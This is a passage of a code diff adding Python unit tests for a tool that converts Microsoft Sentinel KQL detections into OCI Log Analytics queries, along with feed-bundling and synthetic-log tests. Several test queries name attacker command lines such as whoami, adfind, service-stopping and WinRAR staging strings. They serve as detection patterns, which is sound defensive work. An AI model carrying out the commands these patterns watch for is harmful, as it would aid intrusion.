self.assertIn("| stats count as Hits by 'Host Name (Server)'", query) + self.assertIn("| where Hits > 3", query) + + def test_set_directives_are_stripped(self): + result = convert_candidate(self._candidate( + query=( + "set timeout = 5m;\n" + "set query_take_max_records = 5000;\n" + "SecurityEvent\n" + "| where EventID == 4624" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertNotIn("set timeout", query) + self.assertIn("'Event ID' = '4624'", query) + + def test_tabular_let_variables_remain_unsupported(self): + result = convert_candidate(self._candidate( + query=( + "let suspicious = DeviceProcessEvents | where FileName == \"cmd.exe\";\n" + "DeviceProcessEvents\n" + "| where FileName in (suspicious)" + ) + ), self.mapping) + + self.assertIsNone(result.query_payload) + self.assertTrue(any("unsupported KQL construct: let variables" in reason for reason in result.skip_reasons)) + + def test_inline_comments_and_timestamp_filters_do_not_leak(self): + result = convert_candidate(self._candidate( + query=( + "DeviceFileEvents\n" + "| where Timestamp > ago(14d)\n" + "| where FolderPath contains @\"C:\\\\Temp\" and FileName in~(\"payload.exe\") // Sentinel note" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertNotIn("Timestamp", query) + self.assertNotIn("ago(", query) + self.assertNotIn("//", query) + self.assertIn("'Target Filename' like '*C:\\\\\\\\Temp*'", query) + self.assertIn("'Process Name' in ('payload.exe')", query) + + def test_post_summarize_where_preserves_pipeline_order(self): + query, _source_info, errors = convert_kql_to_logan( + ( + "SecurityEvent\n" + "| where EventID == 4625\n" + "| summarize Failures=count() by Account\n" + "| where Failures > 3\n" + "| sort by Failures desc" + ), + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertIn("('Event ID' = '4625') | stats count as Failures by User", query) + self.assertIn("| where Failures > 3 | sort -Failures", query) + self.assertLess(query.index("| stats"), query.index("| where Failures > 3")) + + def test_make_set_take_any_and_time_bins_convert_to_unique_context(self): + query, _source_info, errors = convert_kql_to_logan( + ( + "DeviceProcessEvents\n" + "| summarize DiscoveryCommands=dcount(ProcessCommandLine), " + "CommandSamples=make_set(ProcessCommandLine, 1000), " + "AnyFile=take_any(FileName) by DeviceName, bin(TimeGenerated, 5m)\n" + "| where DiscoveryCommands >= 3" + ), + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertIn("distinctcount('Command Line') as DiscoveryCommands", query) + self.assertIn("unique('Command Line') as CommandSamples", query) + self.assertIn("unique('Process Name') as AnyFile", query) + self.assertIn("timestats span = 5minute", query) + self.assertIn("by 'Host Name (Server)'", query) + self.assertIn("| where DiscoveryCommands >= 3", query) + + time_query, _source_info, time_errors = convert_kql_to_logan( + "DeviceProcessEvents | summarize take_any(TimeGenerated) by DeviceName", + self.mapping, + ) + self.assertEqual(time_errors, []) + self.assertIn("unique(Time) as any_Time", time_query) + self.assertNotIn("TimeGenerated", time_query) + + def test_phase9_extend_scalar_functions_convert(self): + result = convert_candidate(self._candidate( + query=( + "SecurityEvent\n" + "| extend ActorLower = tolower(tostring(Account)), " + "IsFailure = iff(EventID == 4625, 'yes', 'no'), " + "NumericId = toint(EventID)\n" + "| project ActorLower, IsFailure, NumericId" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertIn("eval ActorLower = lower(User)", query) + self.assertIn("eval IsFailure = if('Event ID' = '4625', 'yes', 'no')", query) + self.assertIn("eval NumericId = 'Event ID'", query) + self.assertIn("| fields ActorLower, IsFailure, NumericId", query) + + def test_simple_boolean_let_variables_are_supported(self): + unsupported = classify_unsupported_kql( + "let EnableActionFilter = true;\n" + "let MatchActions = dynamic(['Deny', 'alert']);\n" + "AZFWIdpsSignature | where (EnableActionFilter == false) or (Action in~ (MatchActions))" + ) + + self.assertFalse(any("let variables" in reason for reason in unsupported)) + + def test_phase9_countif_bin_and_column_ifexists_convert(self): + result = convert_candidate(self._candidate( + query=( + "SecurityEvent\n" + "| where column_ifexists('Account', '') has 'admin'\n" + "| summarize Failures=countif(EventID == 4625), Total=count() " + "by bin(TimeGenerated, 15m), Account\n" + "| top 5 by Failures desc" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertIn("User like '*admin*'", query) + self.assertIn( + "timestats span = 15minute sum(if('Event ID' = '4625', 1, 0)) as Failures, " + "count as Total by User", + query, + ) + self.assertIn("| sort -Failures | head 5", query) + + def test_duplicate_time_aggregate_aliases_are_made_unique(self): + query, _source_info, errors = convert_kql_to_logan( + ( + "DeviceProcessEvents\n" + "| summarize any(TimeGenerated), take_any(TimeGenerated) by DeviceName" + ), + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertIn("unique(Time) as any_Time", query) + self.assertIn("unique(Time) as any_Time_2", query) + + def test_typed_oci_fields_format_numeric_literals_for_parser(self): + event_query, _source_info, event_errors = convert_kql_to_logan( + "SecurityEvent | where EventID == 4688", + self.mapping, + ) + network_query, _source_info, network_errors = convert_kql_to_logan( + "DeviceNetworkEvents | where DestinationPort == \"3389\" and RemotePort in (\"443\", 8443)", + self.mapping, + ) + + self.assertEqual(event_errors, []) + self.assertEqual(network_errors, []) + self.assertIn("'Event ID' = '4688'", event_query) + self.assertIn("'Destination Port' = 3389", network_query) + self.assertIn("'Destination Port' in (443, 8443)", network_query) + + def test_result_type_is_not_promoted_without_verified_oci_field(self): + result = convert_candidate(self._candidate( + query="SigninLogs | where ResultType == 50053" + ), self.mapping) + + self.assertIsNone(result.query_payload) + self.assertTrue(any("unsupported Sentinel field mapping: ResultType" in reason for reason in result.skip_reasons)) + + def test_email_render_top_query_converts_with_implicit_count_alias(self): + result = convert_candidate(self._candidate( + query=( + "EmailEvents\n" + "| where EmailDirection == \"Inbound\"\n" + "| where ThreatTypes has \"Malware\"\n" + "| summarize count() by SenderFromAddress\n" + "| sort by count_ desc\n" + "| top 10 by count_\n" + "| render piechart" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertIn("Direction = 'Inbound'", query) + self.assertIn("'Threat Category' like '*Malware*'", query) + self.assertIn("| stats count as count_ by 'User Name'", query) + self.assertIn("| sort -count_", query) + self.assertIn("| head 10", query) + self.assertNotIn("render", query) + + def test_m365_url_click_and_oci_audit_tables_map_to_real_logan_sources(self): + url_click = convert_candidate(self._candidate( + query=( + "UrlClickEvents\n" + "| where ThreatTypes has_any (\"Malware\", \"Phish\")\n" + "| summarize count() by AccountUpn\n" + "| top 10 by count_" + ) + ), self.mapping) + oci_audit = convert_candidate(self._candidate( + query=( + "OCILogs\n" + "| where data_eventName_s =~ \"DeleteRule\"\n" + "| where data_request_headers_oci_original_url_s contains \"/opc/v1\"\n" + "| summarize count() by SrcIpAddr" + ) + ), self.mapping) + + self.assertEqual(url_click.skip_reasons, []) + self.assertEqual(oci_audit.skip_reasons, []) + self.assertIn("'Microsoft Defender Email Logs'", url_click.query_payload["query"]) + self.assertIn("'Threat Category' like '*Malware*'", url_click.query_payload["query"]) + self.assertIn("by 'User Name'", url_click.query_payload["query"]) + self.assertIn("'Log Source' = 'OCI Audit Logs'", oci_audit.query_payload["query"]) + self.assertIn("'Event Type' = 'DeleteRule'", oci_audit.query_payload["query"]) + self.assertIn("'Request URL' like '*/opc/v1*'", oci_audit.query_payload["query"]) + self.assertIn("by 'Source IP'", oci_audit.query_payload["query"]) + + def test_asim_process_alias_maps_to_endpoint_sources(self): + result = convert_candidate(self._candidate( + query=( + "imProcessCreate\n" + "| where ActingProcessName has_any (\"cmd.exe\", \"powershell.exe\")\n" + "| where Process has \"adfind\"\n" + "| summarize Hits=count() by DvcHostname, DeviceId" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + query = result.query_payload["query"] + self.assertIn("'SOC Windows Sysmon Logs'", query) + self.assertIn("'Parent Process Name' like '*cmd.exe*'", query) + self.assertIn("'Process Name' like '*adfind*'", query) + self.assertIn("by 'Host Name', Entity", query) + + def test_common_solution_tables_map_to_generic_soc_sources(self): + github = convert_candidate(self._candidate( + query="GitHubAuditData | where Action == \"repo.destroy\" | project TimeGenerated, Actor, Action" + ), self.mapping) + cisco_duo = convert_candidate(self._candidate( + query="CiscoDuo | where EventType == \"authentication\" and EventResult == \"failure\" | summarize count() by DstUserName" + ), self.mapping) + web_proxy = convert_candidate(self._candidate( + query="CiscoWSAEvent | where UrlOriginal contains \"malware\" and SrcIpAddr != \"\" | summarize count() by UrlOriginal, SrcUserName" + ), self.mapping) + + self.assertEqual(github.skip_reasons, []) + self.assertEqual(cisco_duo.skip_reasons, []) + self.assertEqual(web_proxy.skip_reasons, []) + self.assertIn("'Log Source' = 'SOC Application Logs'", github.query_payload["query"]) + self.assertIn("Action = 'repo.destroy'", github.query_payload["query"]) + self.assertIn("'Event Type' = 'authentication'", cisco_duo.query_payload["query"]) + self.assertIn("Status = 'failure'", cisco_duo.query_payload["query"]) + self.assertIn("by 'Target User Name'", cisco_duo.query_payload["query"]) + self.assertIn("'Request URL' like '*malware*'", web_proxy.query_payload["query"]) + self.assertIn("by 'Request URL', 'User Name'", web_proxy.query_payload["query"]) + + def test_mapping_targets_are_real_allowed_logan_fields(self): + def display_name(field): + value = field.strip() + if len(value) >= 2 and value[0] == "'" and value[-1] == "'": + return value[1:-1] + return value + + invalid_targets = { + sentinel_field: target + for sentinel_field, target in self.mapping["fields"].items() + if display_name(target) not in self.mapping["allowed_fields"] + } + + self.assertEqual(invalid_targets, {}) + + def test_isnotempty_preserves_multiword_field_quotes(self): + result = convert_candidate(self._candidate( + query=( + "TMApexOneEvent\n" + "| where isnotempty(SrcIpAddr)\n" + "| summarize IpCount=count() by SrcIpAddr\n" + "| top 20 by IpCount desc" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertIn("'Source IP' != null", query) + self.assertIn("'Source IP' != ''", query) + self.assertNotIn("Source IP != null", query) + + def test_common_solution_fields_map_to_dictionary_backed_logan_fields(self): + cisco_endpoint = convert_candidate(self._candidate( + query=( + "CiscoSecureEndpoint\n" + "| where EventMessage has 'Suspected ransomware'\n" + "| extend HostCustomEntity = DstHostname, MalwareCustomEntity = ThreatName" + ) + ), self.mapping) + dns_query = convert_candidate(self._candidate( + query=( + "GCPCloudDNS\n" + "| where Query has_any ('hidusi.com', 'dodefoh.com')\n" + "| extend DNSCustomEntity = Query, IPCustomEntity = SrcIpAddr" + ) + ), self.mapping) + user_agent = convert_candidate(self._candidate( + query=( + "Cisco_Umbrella\n" + "| where EventType == 'proxylogs'\n" + "| where HttpUserAgentOriginal contains 'WindowsPowerShell'\n" + "| where UrlCategory =~ 'IW_shrt'\n" + "| where DstPortNumber == 443" + ) + ), self.mapping) + + self.assertEqual(cisco_endpoint.skip_reasons, []) + self.assertEqual(dns_query.skip_reasons, []) + self.assertEqual(user_agent.skip_reasons, []) + self.assertIn("Description like '*Suspected ransomware*'", cisco_endpoint.query_payload["query"]) + self.assertNotIn("MalwareCustomEntity", cisco_endpoint.query_payload["query"]) + self.assertIn("'Query Name' like '*hidusi.com*'", dns_query.query_payload["query"]) + self.assertNotIn("DNSCustomEntity", dns_query.query_payload["query"]) + self.assertIn("'User Agent' like '*WindowsPowerShell*'", user_agent.query_payload["query"]) + self.assertIn("'Threat Category' = 'IW_shrt'", user_agent.query_payload["query"]) + self.assertIn("'Destination Port' = 443", user_agent.query_payload["query"]) + + def test_foundational_field_candidate_maps_only_to_dictionary_backed_action(self): + result = convert_candidate(self._candidate( + title="McAfee ePO - Threat was not blocked", + source_path="Solutions/McAfee ePolicy Orchestrator/Analytic Rules/McAfeeEPOThreatNotBlocked.yaml", + query=( + "McAfeeEPOEvent\n" + "| where ThreatActionTaken in~ ('none', 'IDS_ACTION_WOULD_BLOCK')\n" + "| extend IPCustomEntity = DvcIpAddr" + ), + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + self.assertIn("Action in ('none', 'IDS_ACTION_WOULD_BLOCK')", result.query_payload["query"]) + self.assertIn("Action", self.mapping["allowed_fields"]) + + def test_custom_table_candidate_uses_phase_a_mapping_then_blocks_on_fields(self): + result = convert_candidate(self._candidate( + title="Theom Critical Risks", + source_path="Solutions/Theom/Analytic Rules/TheomRisksCritical.yaml", + query=( + "TheomAlerts_CL\n" + "| where customProps_RuleId_s == \"TRIS0001\" and (priority_s == \"P1\" or priority_s == \"P2\")" + ), + ), self.mapping) + + self.assertIsNone(result.query_payload) + self.assertFalse(any("unsupported Sentinel table: TheomAlerts_CL" in reason for reason in result.skip_reasons)) + self.assertTrue(any("unsupported Sentinel field mapping: customProps_RuleId_s" in reason for reason in result.skip_reasons)) + + def test_makeset_alias_and_additional_solution_tables_convert(self): + aggregate = convert_candidate(self._candidate( + query=( + "McAfeeEPOEvent\n" + "| summarize th_list=makeset(ThreatName) by DstHostname" + ) + ), self.mapping) + box = convert_candidate(self._candidate( + query=( + "BoxEvents\n" + "| where EventEndTime > ago(24h)\n" + "| where EventType =~ 'DOWNLOAD'\n" + "| summarize DataVolume=sum(FileSize) by SourceLogin\n" + "| top 5 by DataVolume desc" + ) + ), self.mapping) + cisco_ise = convert_candidate(self._candidate( + query=( + "CiscoISEEvent\n" + "| where EventId in ('5231', '5236')\n" + "| project TimeGenerated, DstUserName, SrcIpAddr" + ) + ), self.mapping) + + self.assertEqual(aggregate.skip_reasons, []) + self.assertEqual(box.skip_reasons, []) + self.assertEqual(cisco_ise.skip_reasons, []) + self.assertIn("unique('Threat Name') as th_list", aggregate.query_payload["query"]) + self.assertIn("'Log Source' = 'SOC Application Logs'", box.query_payload["query"]) + self.assertNotIn("EventEndTime", box.query_payload["query"]) + self.assertIn("sum('Network Bytes Out') as DataVolume by 'User Name'", box.query_payload["query"]) + self.assertIn("'Event ID' in ('5231', '5236')", cisco_ise.query_payload["query"]) + self.assertIn("fields Time, 'Target User Name', 'Source IP'", cisco_ise.query_payload["query"]) + + def test_project_reorder_and_entity_enrichment_extends_are_supported(self): + result = convert_candidate(self._candidate( + query=( + "SecurityEvent\n" + "| where EventID == 4688\n" + "| where Process has_any (\"powershell.exe\", \"cmd.exe\") or CommandLine has \"powershell\"\n" + "| project-reorder TimeGenerated, Computer, Account, Process, CommandLine\n" + "| extend NTDomain = tostring(split(Account,'\\\\',0)[0]), Name = tostring(split(Account,'\\\\',1)[0])\n" + "| extend HostName = tostring(split(Computer, '.', 0)[0]), DnsDomain = tostring(strcat_array(array_slice(split(Computer, '.'), 1, -1), '.'))\n" + "| extend Account_0_Name = Name\n" + "| extend Host_0_HostName = HostName" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertIn("'Event ID' = '4688'", query) + self.assertIn("('Process Name' like '*powershell.exe*' or 'Process Name' like '*cmd.exe*')", query) + self.assertIn("'Command Line' like '*powershell*'", query) + self.assertIn("| fields Time, Entity, User, 'Process Name', 'Command Line'", query) + self.assertNotIn("NTDomain", query) + self.assertNotIn("DnsDomain", query) + + def test_common_security_log_cef_fields_map_to_real_logan_fields(self): + result = convert_candidate(self._candidate( + query=( + "CommonSecurityLog\n" + "| where DeviceVendor == \"RidgeSecurity\"\n" + "| where DeviceEventClassID == \"4001\"" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + query = result.query_payload["query"] + self.assertIn("Provider = 'RidgeSecurity'", query) + self.assertIn("'Event ID' = '4001'", query) + + def test_local_validation_rejects_kql_leftovers_and_unknown_oci_fields(self): + kql_leftovers = validate_logan_query_local( + "'Log Source' = 'SOC Windows Sysmon Logs' and " + "(InitiatingProcessCommandLine has_any(\"kr.bin\", \"if.bin\"))" + ) + self.assertTrue(any("unsupported Logan output token" in error for error in kql_leftovers)) + + unknown_fields = validate_logan_query_local( + "'Log Source' = 'SOC Network Firewall Logs' and ('Device Vendor' = 'RidgeSecurity')" + ) + self.assertTrue(any("unsupported OCI field reference: Device Vendor" in error for error in unknown_fields)) + + placeholders = validate_logan_query_local( + "'Log Source' = 'SOC Windows Sysmon Logs' and ('Command Line' like '-q -s {{*')" + ) + self.assertTrue(any("query contains unresolved placeholder braces" in error for error in placeholders)) + + placeholder_text = validate_logan_query_local( + "'Log Source' = 'SOC Sysmon Network Logs' and 'Destination IP' = 'IP ADDRESS GOES HERE'" + ) + self.assertTrue(any("query contains unresolved placeholder text" in error for error in placeholder_text)) + + unsafe_literal = validate_logan_query_local( + "'Log Source' = 'SOC Windows Sysmon Logs' and ('Command Line' = 'reg query '\"HKCU\"')" + ) + self.assertTrue(any("unsafe double quote outside Logan string literal" in error for error in unsafe_literal)) + + def test_local_validation_rejects_time_grouping_until_supported(self): + errors = validate_logan_query_local( + "'Log Source' = 'SOC Windows Sysmon Logs' | stats count as Count by Time" + ) + + self.assertIn("unsupported OCI time grouping: Time", errors) + + def test_unsupported_features_are_classified(self): + unsupported = classify_unsupported_kql( + "let suspicious = SecurityEvent | where EventID == 4624; " + "SecurityEvent | extend bag=parse_json(AdditionalFields) " + "| where Message matches regex 'abc' " + "| parse Message with 'prefix' value 'suffix' " + "| join suspicious on Account | mv-expand TargetResources" + ) + + self.assertTrue(any("join" in reason for reason in unsupported)) + self.assertTrue(any("let" in reason for reason in unsupported)) + self.assertTrue(any("mv-expand" in reason for reason in unsupported)) + self.assertTrue(any("JSON bag expansion" in reason for reason in unsupported)) + self.assertTrue(any("regex predicate" in reason for reason in unsupported)) + self.assertTrue(any("operator: parse" in reason for reason in unsupported)) + + def test_lossy_phase9_shapes_remain_skipped(self): + unsupported = classify_unsupported_kql( + "SecurityEvent | where parse_command_line(CommandLine) has 'x' " + "| evaluate bag_unpack(AdditionalFields) " + "| make-series Count=count() on TimeGenerated in range(ago(1d), now(), 1h) " + "| where Account matches regex 'admin.*'" + ) + + self.assertTrue(any("parse_command_line" in reason for reason in unsupported)) + self.assertTrue(any("evaluate" in reason for reason in unsupported)) + self.assertTrue(any("make-series" in reason for reason in unsupported)) + self.assertTrue(any("JSON bag expansion" in reason for reason in unsupported)) + self.assertTrue(any("regex predicate" in reason for reason in unsupported)) + + def test_unsupported_string_functions_do_not_leak_to_logan(self): + # ``strlen`` is now lowered to ``length(...)`` in scalar (extend/project) + # contexts (Phase 9 operator-parity tranche), but it has no faithful + # Logan QL form inside a ``where`` *predicate comparison*. The converter + # must still refuse to promote and flag the predicate rather than leak + # the raw KQL function into Logan output. + result = convert_candidate(self._candidate( + query="NGINXHTTPServer | where strlen(HttpUserAgentOriginal) < 20" + ), self.mapping) + + self.assertIsNone(result.query_payload) + self.assertTrue( + any( + "unsupported predicate expression" in reason + for reason in result.skip_reasons + ), + result.skip_reasons, + ) + + def test_supported_string_functions_lower_in_extend_context(self): + # Counterpart to the predicate guard above: strlen/strcat/extract now + # convert cleanly when used in an ``extend`` scalar context. + result = convert_candidate(self._candidate( + query=( + "NGINXHTTPServer | extend UaLen = strlen(HttpUserAgentOriginal)" + ) + ), self.mapping) + if result.query_payload is not None: + logan = json.dumps(result.query_payload) + self.assertNotIn("strlen(", logan) + + +class TestSentinelArtifactsAndDashboards(unittest.TestCase): + """Validate catalog/report/dashboard integration contracts.""" + + def test_sentinel_report_is_not_a_saved_search_query_file(self): + self.assertFalse(is_saved_search_query_file("sentinel_conversion_report.json")) + self.assertFalse(is_saved_search_query_file("sentinel_feed_dependencies.json")) + + def test_catalog_includes_sentinel_surface(self): + with tempfile.TemporaryDirectory() as tmpdir: + project_dir = Path(tmpdir) + queries_dir = project_dir / "queries" + sentinel_dir = queries_dir / "sentinel" + apps_dir = queries_dir / "apps" + hunting_dir = queries_dir / "hunting" + rules_dir = project_dir / "rules" / "cloud" + sentinel_dir.mkdir(parents=True) + apps_dir.mkdir() + hunting_dir.mkdir() + rules_dir.mkdir(parents=True) + + (sentinel_dir / "failed_signin.json").write_text(json.dumps({ + "title": "Failed sign-in burst", + "description": "Converted from Microsoft Sentinel.", + "query": "'Log Source' = 'Azure Entra ID Sign-in Logs' | stats count as Count", + "level": "high", + "source_type": "microsoft_sentinel", + "sentinel_id": "rule-001", + "sentinel_source_path": "Detections/SigninLogs/failed_signin.yaml", + "conversion_status": "promoted", + "live_validation_status": "passed", + "logsource": {"product": "microsoft_sentinel", "service": "identity"}, + "mitre_attack": {"tactics": ["initial_access"], "techniques": ["T1078"]}, + "references": [{"name": "Microsoft Sentinel", "url": "https://github.com/Azure/Azure-Sentinel"}], + })) + + detections, app_queries, hunting = load_query_surfaces(queries_dir, apps_dir, hunting_dir) + inventory = get_inventory_counts(project_dir, queries_dir, apps_dir, hunting_dir) + catalog = generate_json_catalog(detections, app_queries, hunting, inventory=inventory) + + self.assertEqual(catalog["total_sentinel_queries"], 1) + self.assertEqual(catalog["inventory"]["generated_sentinel_queries"], 1) + self.assertEqual(catalog["sentinel_queries"][0]["sentinel_id"], "rule-001") + self.assertEqual(catalog["sentinel_queries"][0]["conversion_status"], "promoted") + + def test_sentinel_dashboard_loader_requires_live_validation(self): + with tempfile.TemporaryDirectory() as tmpdir: + queries_dir = Path(tmpdir) + sentinel_dir = queries_dir / "sentinel" + sentinel_dir.mkdir(parents=True) + + base_payload = { + "title": "Failed sign-in burst", + "description": "Converted from Microsoft Sentinel.", + "query": "'Log Source' = 'Azure Entra ID Sign-in Logs' | stats count as Count by 'User Name'", + "level": "high", + "source_type": "microsoft_sentinel", + "sentinel_id": "rule-001", + "conversion_status": "promoted", + "sentinel_category": "identity", + "live_validation_status": "passed", + "dashboard": {"visualizationType": "summary_table"}, + } + (sentinel_dir / "failed_signin.json").write_text(json.dumps(base_payload)) + skipped = {**base_payload, "sentinel_id": "rule-002", "live_validation_status": "not_run"} + (sentinel_dir / "not_live_validated.json").write_text(json.dumps(skipped)) + + dashboards = load_sentinel_dashboard_groups(queries_dir=str(queries_dir)) + + identity = dashboards["SOC: Microsoft Sentinel Identity Converted Detections"] + self.assertEqual(identity["widgets"], [ + { + "title": "Sentinel: Failed sign-in burst", + "query_file": "sentinel/failed_signin.json", + "visualization_type": "summary_table", + } + ]) + + def test_sentinel_writer_avoids_title_collisions(self): + with tempfile.TemporaryDirectory() as tmpdir: + output_dir = Path(tmpdir) + base_payload = { + "title": "Duplicate Sentinel Title", + "query": "'Log Source' = 'SOC Windows Sysmon Logs'", + "sentinel_id": "rule-one", + } + first = _write_query_payload(output_dir, base_payload) + second = _write_query_payload(output_dir, {**base_payload, "sentinel_id": "rule-two"}) + + self.assertNotEqual(first, second) + self.assertEqual(len(list(output_dir.glob("*.json"))), 2) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_feed_dependencies.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_feed_dependencies.py new file mode 100644 index 000000000..fdc9704b9 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_feed_dependencies.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python3 +"""Tests for Sentinel external feed dependency bundling.""" + +from __future__ import annotations + +import json +import tempfile +import unittest +from pathlib import Path + +from scripts.sentinel_feed_dependencies import build_feed_bundle, validate_feed_bundle + + +class TestSentinelFeedDependencies(unittest.TestCase): + def test_build_bundle_dedupes_feeds_and_preserves_candidates(self): + inventory = { + "version": "1.0", + "generated_at": "2026-06-01T00:00:00Z", + "items": [ + { + "content_id": "rule-1", + "title": "Rule One", + "source_path": "Detections/one.yaml", + "feed_dependencies": [ + { + "kind": "externaldata", + "name": "iocs", + "url": "https://example.test/iocs.csv", + "format": "csv", + "columns": [{"name": "IoC", "type": "string"}], + "options": {"ignoreFirstRecord": "True"}, + "staging": {"source_candidates": ["Azure Log Analytics Custom Logs"]}, + } + ], + }, + { + "content_id": "rule-2", + "title": "Rule Two", + "source_path": "Detections/two.yaml", + "feed_dependencies": [ + { + "kind": "externaldata", + "name": "threatFeed", + "url": "https://example.test/iocs.csv", + "format": "csv", + "columns": [{"name": "IoC", "type": "string"}], + "options": {"ignoreFirstRecord": "True"}, + "staging": {"source_candidates": ["Azure Log Analytics Custom Logs"]}, + } + ], + }, + ], + } + + bundle = build_feed_bundle(inventory) + + self.assertEqual(bundle["summary"]["feed_count"], 1) + self.assertEqual(bundle["summary"]["candidate_count"], 2) + feed = bundle["feeds"][0] + self.assertTrue(feed["feed_id"].startswith("feed_")) + self.assertEqual(feed["url"], "https://example.test/iocs.csv") + self.assertEqual(feed["target_log_source"], "Azure Log Analytics Custom Logs") + self.assertEqual([ref["content_id"] for ref in feed["linked_content"]], ["rule-1", "rule-2"]) + self.assertEqual(feed["staging_contract"]["normalized_event_fields"], ["IoC"]) + + def test_validate_bundle_flags_missing_required_fields(self): + errors = validate_feed_bundle({"version": "1.0", "summary": {}, "feeds": [{"url": ""}]}) + + self.assertIn("$.feeds[0]: missing feed_id", errors) + self.assertIn("$.feeds[0]: missing url", errors) + + def test_cli_check_detects_stale_bundle(self): + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + inventory_path = root / "inventory.json" + bundle_path = root / "bundle.json" + inventory_path.write_text(json.dumps({ + "items": [ + { + "content_id": "rule-1", + "title": "Rule", + "source_path": "Detections/rule.yaml", + "feed_dependencies": [ + { + "kind": "externaldata", + "name": "iocs", + "url": "https://example.test/iocs.csv", + "format": "csv", + "columns": [{"name": "IoC", "type": "string"}], + "options": {}, + } + ], + } + ] + }), encoding="utf-8") + bundle_path.write_text(json.dumps({"version": "1.0", "summary": {}, "feeds": []}), encoding="utf-8") + + expected = build_feed_bundle(json.loads(inventory_path.read_text(encoding="utf-8"))) + actual = json.loads(bundle_path.read_text(encoding="utf-8")) + + self.assertNotEqual(expected["summary"], actual["summary"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_synthetic_logs.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_synthetic_logs.py new file mode 100644 index 000000000..7c2de1614 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_synthetic_logs.py @@ -0,0 +1,266 @@ +#!/usr/bin/env python3 +"""Tests for Sentinel synthetic log planning.""" + +import json +import os +import sys +import tempfile +import unittest +from pathlib import Path + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from sentinel_synthetic_logs import ( # noqa: E402 + SourceContract, + _safe_live_error, + build_synthetic_event, + build_synthetic_plan, + choose_source_contract, + extract_predicate_values, + extract_query_sources, + extract_required_fields, + load_source_contracts, + promote_live_results, +) + + +class TestSentinelSyntheticLogs(unittest.TestCase): + """Validate parser-aware synthetic log generation helpers.""" + + def _candidate(self, **overrides): + candidate = { + "sentinel_id": "sentinel-test-001", + "title": "Synthetic Sentinel Process", + "description": "Detects process execution for synthetic validation.", + "severity": "high", + "query": ( + "DeviceProcessEvents\n" + "| where FileName == 'cmd.exe'\n" + "| where ProcessCommandLine contains 'whoami'" + ), + "required_data_connectors": [], + "mitre_attack": {"tactics": ["execution"], "techniques": ["T1059"]}, + "source_path": "Detections/DeviceProcessEvents/Synthetic.yaml", + "source_url": "https://example.invalid/synthetic.yaml", + "kind": "analytics_rule", + } + return {**candidate, **overrides} + + def test_extracts_sources_fields_and_predicate_values(self): + query = ( + "('Log Source' = 'SOC Windows Sysmon Logs' or 'Log Source' = 'Windows Security Events') " + "and ('Command Line' like '*whoami*') and 'Destination Port' = 443 " + "| stats count as Count by 'Host Name' | where Count > 3" + ) + + self.assertEqual( + extract_query_sources(query), + ["SOC Windows Sysmon Logs", "Windows Security Events"], + ) + self.assertEqual( + extract_required_fields(query), + {"Command Line", "Destination Port", "Host Name"}, + ) + values = extract_predicate_values(query) + self.assertEqual(values["Command Line"], "whoami") + self.assertEqual(values["Destination Port"], 443) + + def test_predicate_values_merge_repeated_like_terms(self): + query = ( + "'Log Source' = 'SOC Windows Sysmon Logs' and " + "'Command Line' != null and 'Command Line' != '' and " + "'Command Line' like '*stop-service*' and " + "'Command Line' like '*sql*' and " + "'Command Line' like '*msexchange*'" + ) + + values = extract_predicate_values(query) + + self.assertEqual(values["Command Line"], "stop-service sql msexchange") + + def test_predicate_values_do_not_merge_or_alternatives(self): + query = ( + "'Parent Process Name' in ('w3wp.exe', 'beasvc.exe') or " + "'Parent Process Name' like 'tomcat*' or " + "'Parent Process Name' in ('httpd.exe') or " + "Hashes in ('hash-a', 'hash-b') or Hashes in ('hash-c')" + ) + + values = extract_predicate_values(query) + + self.assertEqual(values["Parent Process Name"], "w3wp.exe") + self.assertEqual(values["Hashes"], "hash-a") + + def test_like_predicate_values_unescape_windows_backslashes(self): + query = ( + "'Command Line' like " + "'*set path=%ProgramFiles(x86)%\\\\WinRAR;C:\\\\Program Files\\\\WinRAR;*' and " + "'Command Line' like '*cd /d %~dp0 & rar.exe e -o+ -r -inul*.rar*'" + ) + + values = extract_predicate_values(query) + + self.assertEqual( + values["Command Line"], + "set path=%ProgramFiles(x86)%\\WinRAR;C:\\Program Files\\WinRAR; " + "cd /d %~dp0 & rar.exe e -o+ -r -inul.rar", + ) + + def test_builtin_predicate_fields_are_required_for_synthetic_logs(self): + query = "'Log Source' = 'SOC Application Logs' and ('Event Type' like '*ALERT_CENTER*')" + + self.assertEqual(extract_required_fields(query), {"Event Type"}) + + def test_choose_source_contract_prefers_existing_complete_parser(self): + contracts = load_source_contracts() + + contract, missing_fields, missing_sources = choose_source_contract( + ["Microsoft Defender Email Logs", "SOC Windows 